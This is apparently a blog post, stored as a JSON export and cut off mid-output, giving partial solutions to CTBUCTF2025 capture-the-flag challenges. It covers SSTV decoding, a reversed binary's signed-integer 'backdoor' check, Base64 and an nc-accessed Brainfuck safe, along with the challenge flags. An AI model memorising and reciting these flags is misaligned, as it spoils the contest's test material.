{"id":380,"date":"2025-05-19T13:47:21","date_gmt":"2025-05-19T05:47:21","guid":{"rendered":"http:\/\/www.okabe.xin\/?p=380"},"modified":"2025-05-19T13:47:21","modified_gmt":"2025-05-19T05:47:21","slug":"380","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=380","title":{"rendered":"CTBUCTF2025 \u90e8\u5206WP"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u6821\u8d5b<\/h1>\n\n\n\n<h4 class=\"wp-block-heading\">[MISC]\u3010\u7b7e\u5230\u3011Welcome to CTBUCTF2025<\/h4>\n\n\n\n<p><strong><code>ctbuctf{Welcome_to_CTBUCTF2025}<\/code><\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[MISC]\u95ee\u5377\u8c03\u67e5\uff01<\/h4>\n\n\n\n<p>emmm\uff0c\u8fd9\u4e2a\u5c31\u7b97\u4e86\uff0c\u6211\u62ff\u8fd9\u4e2a\u51d1\u4e2a\u6570<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[MISC]Do you know SSTV?<\/h4>\n\n\n\n<p>\u5de5\u5177\u9898\uff0c\u865a\u62df\u673a\u641e\u4e2aQSSTV\uff0c\u9009\u9644\u4ef6\u8fd0\u884c\u5c31\u597d<\/p>\n\n\n\n<p><strong>ctbuctf{N0thing_1s_impossible}<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-14-1024x552.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"552\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-14-1024x552.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-381\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\uff08\u8004\u800b\u6709\u70b9\u610f\u601d\uff09<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[MISC]\u4e66\u8bfb\u4e07\u904d\u5176\u610f\u81ea\u73b0<\/h4>\n\n\n\n<p>\u6709\u540e\u95e8\u51fd\u6570\uff08\uff09<\/p>\n\n\n\n<p>\u660e\u6643\u6643\u7684backdoor<\/p>\n\n\n\n<p>main\u51fd\u6570\u8ddf\u8fdbsecret\u6570\u7ec4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.data:0000000000004010 ; char secret&#91;4]<br>.data:0000000000004010 secret &nbsp; &nbsp; &nbsp; &nbsp;  db 'CTBU' &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; DATA XREF: main:loc_1844\u2191r<br>.data:0000000000004010 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; main+1A4\u2191r ...<br>.data:0000000000004014 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; public key<br>.data:0000000000004014 ; unsigned int key<br>.data:0000000000004014 key &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dd 0DEADBEEFh &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; DATA XREF: main+161\u2191r<br>.data:0000000000004014 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; main+1AE\u2191r ...<br>.data:0000000000004014 _data &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ends<\/code><\/pre>\n\n\n\n<p>\u53c8\u662fkey\u53c8\u662fsecret\u7684\uff0c\u4e14main\u51fd\u6570\u770b\u5230secret\u8fd9\u4e2a\u7684\u5730\u65b9\u5c31\u8fd8\u5728\u7528\u8fd9\u4fe9\u73a9\u610f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if ( secret&#91;0] + key != page<br> &nbsp; &nbsp;|| (puts(\"what?\"), __isoc99_scanf(\"%d\", &amp;page1), secret&#91;1] + key != page1)<br> &nbsp; &nbsp;|| (puts(\"pwner??\"), __isoc99_scanf(\"%d\", &amp;page2), secret&#91;2] + key != page2)<br> &nbsp; &nbsp;|| (puts(\"so crazy!\"), __isoc99_scanf(\"%d\", &amp;page3), secret&#91;3] + key != page3) )<\/code><\/pre>\n\n\n\n<p>\u7528\u811a\u60f3\u4e5f\u77e5\u9053\u591a\u534a\u6709\u4e1c\u897f\uff08\uff09<\/p>\n\n\n\n<p>\u6240\u4ee50DEADBEEF = 3735928559\uff1f<\/p>\n\n\n\n<p>\u5e76\u975e\uff0c\u56e0\u4e3akey\u5b9a\u4e49\u4e3aint\uff0c\u662f\u6709\u7b26\u53f7\u7684<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\n<ul class=\"wp-block-list\">\n<li><code>secret<\/code> \u7684\u5143\u7d20\u662f <code>char<\/code> \u7c7b\u578b\uff088 \u4f4d\u6709\u7b26\u53f7\u6574\u6570\uff09\uff0c\u4f46\u5728\u8fd0\u7b97\u65f6\u4f1a\u63d0\u5347\u4e3a <code>int<\/code>\uff0832 \u4f4d\u6709\u7b26\u53f7\u6574\u6570\uff09\u3002<\/li>\n\n\n\n<li><code>key<\/code> \u662f <code>unsigned int<\/code>\uff0c\u4f46\u5728\u4e0e <code>int<\/code> \u76f8\u52a0\u65f6\uff0c\u4f1a\u9075\u5faa <strong>C \u8bed\u8a00\u7684\u7c7b\u578b\u8f6c\u6362\u89c4\u5219<\/strong>\uff1a\n<ol class=\"wp-block-list\">\n<li>\u5982\u679c\u4e24\u4e2a\u64cd\u4f5c\u6570\u7c7b\u578b\u4e0d\u540c\uff0c\u4e14\u5176\u4e2d\u4e00\u4e2a\u4e3a <code>unsigned int<\/code>\uff0c\u53e6\u4e00\u4e2a\u4e3a <code>int<\/code>\uff0c\u5219 <strong><code>int<\/code> \u4f1a\u88ab\u8f6c\u6362\u4e3a <code>unsigned int<\/code><\/strong>\u3002<\/li>\n\n\n\n<li>\u56e0\u6b64\uff0c\u6574\u4e2a\u8868\u8fbe\u5f0f <code>secret[i] + key<\/code> \u7684\u8fd0\u7b97\u7ed3\u679c\u662f <strong>\u65e0\u7b26\u53f7\u6574\u6570<\/strong>\u3002<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p>\u4ee5 <code>secret[0] + key<\/code> \u4e3a\u4f8b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u6570\u503c\u8ba1\u7b97<\/strong>\uff1asecret[0] = 67 (int) \u2192 \u8f6c\u6362\u4e3a unsigned int: 67<br>key = 0xDEADBEEF \u2192 unsigned int 3735928559<br>secret[0] + key = 67 + 3735928559 = 3735928626 (\u65e0\u7b26\u53f7\u5341\u8fdb\u5236)<\/li>\n\n\n\n<li><strong>\u4e8c\u8fdb\u5236\u8868\u793a<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>3735928626 \u7684\u5341\u516d\u8fdb\u5236\u4e3a <code>0xDEADBE66<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u4f46\u7a0b\u5e8f\u8981\u6c42\u8f93\u5165\u7684\u662f <code>int<\/code><\/strong>\uff08<code>%d<\/code> \u683c\u5f0f\u7b26\uff09\uff0c\u56e0\u6b64\u9700\u8981\u5c06\u65e0\u7b26\u53f7\u7ed3\u679c <strong>\u89e3\u91ca\u4e3a\u6709\u7b26\u53f7\u6574\u6570<\/strong>\uff1asigned_value = 3735928626 &#8211; 2**32 = 3735928626 &#8211; 4294967296 = -559038670<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>secret[0] + key<\/th><th>67 + 3735928559 = 3735928626<\/th><th>-559038670<\/th><\/tr><\/thead><tbody><tr><td>secret[1] + key<\/td><td>84 + 3735928559 = 3735928643<\/td><td>-559038653<\/td><\/tr><tr><td>secret[2] + key<\/td><td>66 + 3735928559 = 3735928625<\/td><td>-559038671<\/td><\/tr><tr><td>secret[3] + key<\/td><td>85 + 3735928559 = 3735928644<\/td><td>-559038652<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u73b0\u5728\u76f4\u63a5\u6309\u987a\u5e8f\u8f93\u5165\u5c31\u597d\u4e86<\/p>\n\n\n\n<p>\u76f4\u63a5flag <strong><code>ctbuctf{CAYLESsaNDdOMoRe}<\/code><\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[MISC]Ez_Base64<\/h4>\n\n\n\n<p>emmm\uff0cpz\u4e00\u628a\u68ad\uff0c\u4f60\u503c\u5f97\u62e5\u6709<\/p>\n\n\n\n<p>\u6211\u7231\u5999\u5999\u5c0f\u5de5\u5177\uff08\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-15-1024x743.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"743\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/05\/image-15-1024x743.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-382\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">[MISC]vivo50\u4fdd\u536b\u6218\uff1a\u51b3\u6218\u661f\u671f\u56db<\/h4>\n\n\n\n<p>\u4ea4\u4e92\u73a9\u4e24\u6b21\u611f\u89c9\u4e0d\u7b97\u590d\u6742\uff0c\u4f46\u662f\u60f3\u7740\u662f\u590f\u5e08\u5085\u538b\u7bb1\u5e95\u7684\u9898\uff0c\u6211\u8fd8\u4ee5\u4e3a\u8fd8\u6709\u4ec0\u4e48\u5947\u5947\u602a\u602a\u7684\u70b9\uff08\u6211\u4e00\u5f00\u59cb\u771f\u4ee5\u4e3a\u662fbrainfuck\u7684\u53d8\u79cd\u7f16\u7801\u4e86\uff09<\/p>\n\n\n\n<p>\u73a9\u4e86\u51e0\u4e2a\u5b57\u7b26\u7684bf\u7f16\u7801\u5f62\u5f0f\u8fdb\u53bb\uff0c\u611f\u89c9\u50cf\u53ef\u4ee5\u9010\u5b57\u8282\u7206\u7834<\/p>\n\n\n\n<p>\u76f4\u63a5\u7529\u7ed9AI\uff0c\u7136\u540e\u540e\u53f0\u8dd1\u7740\u7206\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u76ee\u6807\u670d\u52a1\u5668\uff1actf.ctbu.edu.cn:33326<br>\u4ea4\u4e92\u6548\u679c\uff1a<br>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]<br>\u2514\u2500$ nc ctf.ctbu.edu.cn 33326 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>\u200b<br> &nbsp;  \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2588 &nbsp; &nbsp; &nbsp; GRANDPA'S VIVO50 SAFE &nbsp; &nbsp;  \u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; Enter Brainfuck Code to Unlock: &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2502 &gt;&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2502 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; Options: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &#91; RUN BF CODE ]  &#91; RESET ]  &#91; HELP ] &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp;  \u26a0 Reminder: Thursday is the deadline! &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d<br> &nbsp; &nbsp;<br>Enter the password<br>&gt;&gt; a<br>\u200b<br>Only the following Brainfuck commands are allowed: '&gt;' '&lt;' '+' '-' '.' ',' '&#91;' ']' ' '<br>\u200b<br> &nbsp;  \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2588 &nbsp; &nbsp; &nbsp; GRANDPA'S VIVO50 SAFE &nbsp; &nbsp;  \u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; Enter Brainfuck Code to Unlock: &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2502 &gt;&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2502 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; Options: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &#91; RUN BF CODE ]  &#91; RESET ]  &#91; HELP ] &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp;  \u26a0 Reminder: Thursday is the deadline! &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d<br> &nbsp; &nbsp;<br>Enter the password<br>&gt;&gt; +++++ ++++&#91; -&gt;+++ +++++ +&lt;]&gt;+ +++++ +++++ +++++ ++.&lt;+ +++&#91;- &gt;++++ &lt;]&gt;+. &lt;++++ &#91;-&gt;-- --&lt;]&gt; --.&lt;+ +++&#91;- &gt;++++ &lt;]&gt;++ +.&lt;++ ++&#91;-&gt; ----&lt; ]&gt;--. &lt;++++ &#91;-&gt;++ ++&lt;]&gt; +.&lt;++ +&#91;-&gt;- --&lt;]&gt; ----- .&lt;<br>\u200b<br>Decrypting...<br>ctbuctfTraceback (most recent call last):<br>  File \"\/app\/maker.py\", line 100, in &lt;module&gt;<br> &nbsp;  print(password&#91;i], end='', flush=True)<br>IndexError: list index out of range<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]<br>\u2514\u2500$ nc ctf.ctbu.edu.cn 33326<br>\u200b<br> &nbsp;  \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2588 &nbsp; &nbsp; &nbsp; GRANDPA'S VIVO50 SAFE &nbsp; &nbsp;  \u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; Enter Brainfuck Code to Unlock: &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2502 &gt;&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2502 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp; Options: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &#91; RUN BF CODE ]  &#91; RESET ]  &#91; HELP ] &nbsp; &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  \u2551 &nbsp;  \u26a0 Reminder: Thursday is the deadline! &nbsp; \u2551<br> &nbsp;  \u2551 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2551<br> &nbsp;  